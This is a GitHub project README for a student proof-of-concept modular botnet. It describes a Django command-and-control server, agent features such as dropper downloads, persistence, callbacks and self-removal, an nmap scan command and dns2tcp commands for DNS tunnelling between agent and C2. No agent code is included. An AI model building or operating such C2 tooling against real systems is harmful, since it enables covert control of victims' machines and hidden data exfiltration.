mazx4960 / modulo-botnet

A Modular Botnet with DNS tunneling support

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Modulo Botnet

Simple POC Botnet done by Group 1

Table of contents

Warning

This project is only meant for educational purposes and should not be used for malicious activities! Use at your own risk!

Important Directories

  • apps => server_django/apps (api, authentication, webui)
  • modules => server_django/apps/api/modules

Usage

C2 Server
The default username is admin. The default password is password

cd server_django
python manage.py migrate # to initialise and migrate database
python manage.py createsuperuser <username> # to create a new superuser (optional)
python manage.py runserver

Agent

to be completed

Features

C2 Server (webui)

  • Login
  • Dashboard
    • List of known compromised machines
  • Sessions
    • Select target agent(s)
    • Send Instruction
    • Wait and receive output (if necessary)
    • Viewing other sessions
  • Executing commands on individual agents
  • Style sheets
  • Support for nmap reports
  • Build a network tree that showcases compromised machines

C2 Server (api)

  • Job Balancing
  • Testing Connectivity with all known Agents
  • Sending Instructions
  • Receiving Output of Instructions (tagging must be done to identify the 'session' or specific instruction sent, the computer it came from)
  • Modules hosting for agents
  • Gathering a location heatmap of all the agents and target (https://ipinfo.io/)

Agent

  • Callback to server (every 5 seconds)
  • Dropper (downloads file from C2)
  • Execution of files
  • Persistency
  • Self-Removal

Supported Modules

  • nmap
load module nmap
nmap -sS 192.168.1.1 1-65535
  • dns_tunnelling
# on the agent side
sudo dns2tcpc -f dns2tcpc.conf <server_ip>

# on the server side
sudo dns2tcpd -f dns2tcpd.conf

About

A Modular Botnet with DNS tunneling support

License:MIT License


Languages

Language:Python 95.2%Language:HTML 1.8%Language:JavaScript 1.7%Language:CSS 1.1%Language:PowerShell 0.1%Language:SCSS 0.1%Language:Less 0.0%Language:Batchfile 0.0%Language:Ruby 0.0%